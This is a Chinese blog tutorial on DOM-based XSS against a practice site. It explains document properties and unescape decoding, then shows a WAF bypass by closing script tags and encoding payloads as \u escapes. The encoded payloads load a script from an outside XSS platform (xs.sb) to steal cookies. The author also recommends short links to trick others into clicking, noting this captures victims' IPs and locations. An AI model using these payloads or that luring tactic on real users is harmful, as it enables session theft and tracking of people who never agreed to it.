DOM型XSS

DOM型XSS_第1张图片
可以通过document来获取有些信息。
DOM型XSS_第2张图片

而我们XSS插入的话,一般是动态页面,但是有些是静态页面,不会和数据库发生交互,这就大大提高了安全性,我们就很难XSS了,而考虑到这一点,很多开发也把动态页面假装弄成静态页面,

这种页面称为:伪静态页面

那我们怎么区分动态和伪静态页面呢?

很简单我们可以利用一个js代码来判断是否为动态页面。
我们在控制台输入document.lastModified
如果时间一直是新的,那么就是动态或者伪静态,如果时间一直不变,那么就是静态,没什么好插的了。
DOM型XSS_第3张图片

再介绍一个函数,回显上一个地址的urldocument.referrer

在这里插入图片描述

回显标题document.title

在这里插入图片描述

其他的可以自己去试试

DOM型XSS_第4张图片

尝试1

在这里插入图片描述
DOM型XSS_第5张图片

尝试2

DOM型XSS_第6张图片

没有使用unescape函数

DOM型XSS_第7张图片

在真实的环境中,一般document会URL解码(unescape)一次。

a.com/135.html?id=<script>alert(1)</script>
document.write(unescape(document.URL));

DOM型XSS_第8张图片

unescape函数对url解码,让js代码成功执行弹窗。

DOM型XSS_第9张图片

因为JS触发的XSS就是DOM型XSS,而一般而言dom型的XSS都是反射性,很少有存储型。

document.write() 输出内容。

输出name前面字符的长度为20

DOM型XSS_第10张图片

通过一段js代码进行跳转,并不会与后端进行交互。

例子
DOM型XSS_第11张图片

这里说的锚点是快速跳转到某个位置。

DOM型XSS_第12张图片

了解了这么多后,我们来实战一下

我们可以打开控制台看一下,源码,发现有document,也就是js代码,我们试着传参写入,发现第二个位置成功输出。
DOM型XSS_第13张图片
然后我们直接XSS代码插入,发现被waf拦截。
DOM型XSS_第14张图片
那我们想一下waf的特性,只会过滤一些特殊的东西。比如XSS代码
那我先写正常的,在写我们的XSS代码。
可以看到我们写的js代码生效了,但是不是我们真正想要的结果。
我们看下源码。http://59.63.200.79:8014/dom_xss/index.php/1.txt?id=
DOM型XSS_第15张图片
发现我们是在JS代码里面,那我们把前面那个script闭合就可以了
在这里插入图片描述
输入index.php/1.txt?id=进行绕过和闭合,然后在插入XSS代码。
http://59.63.200.79:8014/dom_xss/index.php/1.txt?id=DOM型XSS_第16张图片

上面一种是针对waf绕过再来XSS插入的一种方法。

接下来我们不针对waf,来针对document来XSS代码插入。
document支持native编码,那我们可以把我们的XSS代码进行转码,转成native再来XSS代码插入。
DOM型XSS_第17张图片

输入http://59.63.200.79:8014/dom_xss/?\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0031\u0031\u0031\u0031\u0031\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e直接绕过

DOM型XSS_第18张图片
既然已经成功执行了,那我们现在来执行我们想要的信息

先创建一个XSS平台任务。xs.sb

DOM型XSS_第19张图片
把这个代码复制下来。
DOM型XSS_第20张图片
然后转码成native编码
DOM型XSS_第21张图片
输入http://59.63.200.79:8014/dom_xss/?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0038\u0035\u0073\u006a\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e
或者(这里的1.txt是为了绕过waf,但是1.txt不存在,就去读index.php的内容)http://59.63.200.79:8014/dom_xss/index.php/1.txt?\u003c\u0073\u0043\u0052\u0069\u0050\u0074\u0020\u0073\u0052\u0043\u003d\u002f\u002f\u0078\u0073\u002e\u0073\u0062\u002f\u0075\u0053\u0049\u0047\u003e\u003c\u002f\u0073\u0043\u0072\u0049\u0070\u0054\u003e

然后查看XSS平台里的任务窃取到的cookie

注意:一个ip访问这个链接后,xss平台只能获取一次,就算这个ip刷新这个链接,xss也不会再获取到cookie了,不知道这个是xss平台的原因还是啥的,所以还想获取cookie的话,那就只有换ip了

DOM型XSS_第22张图片

判断XSS代码是否执行,除了看XSS平台接受到信息没,还可以看控制台的网络,是否访问了XSS平台
DOM型XSS_第23张图片

遇到反射性的XSS,可以以下办法。

通过把我们的链接转成短链接,然后诱导别人点击,从而达到目的

这里我发现一个比较好玩的东西,就是通过这个靶场,然后做成短链接,让别人访问的话,除可以获取到靶场的cookie之外,还可以获取到访问人的地址和ip!!!!!!!!!!!!!

短链接http://tool.chinaz.com/tools/dwz.aspx?qq-pf-to=pcqq.group

DOM型XSS_第24张图片

DOM型XSS_第25张图片

DOM型XSS_第26张图片

你可能感兴趣的:(笔记,js,xss)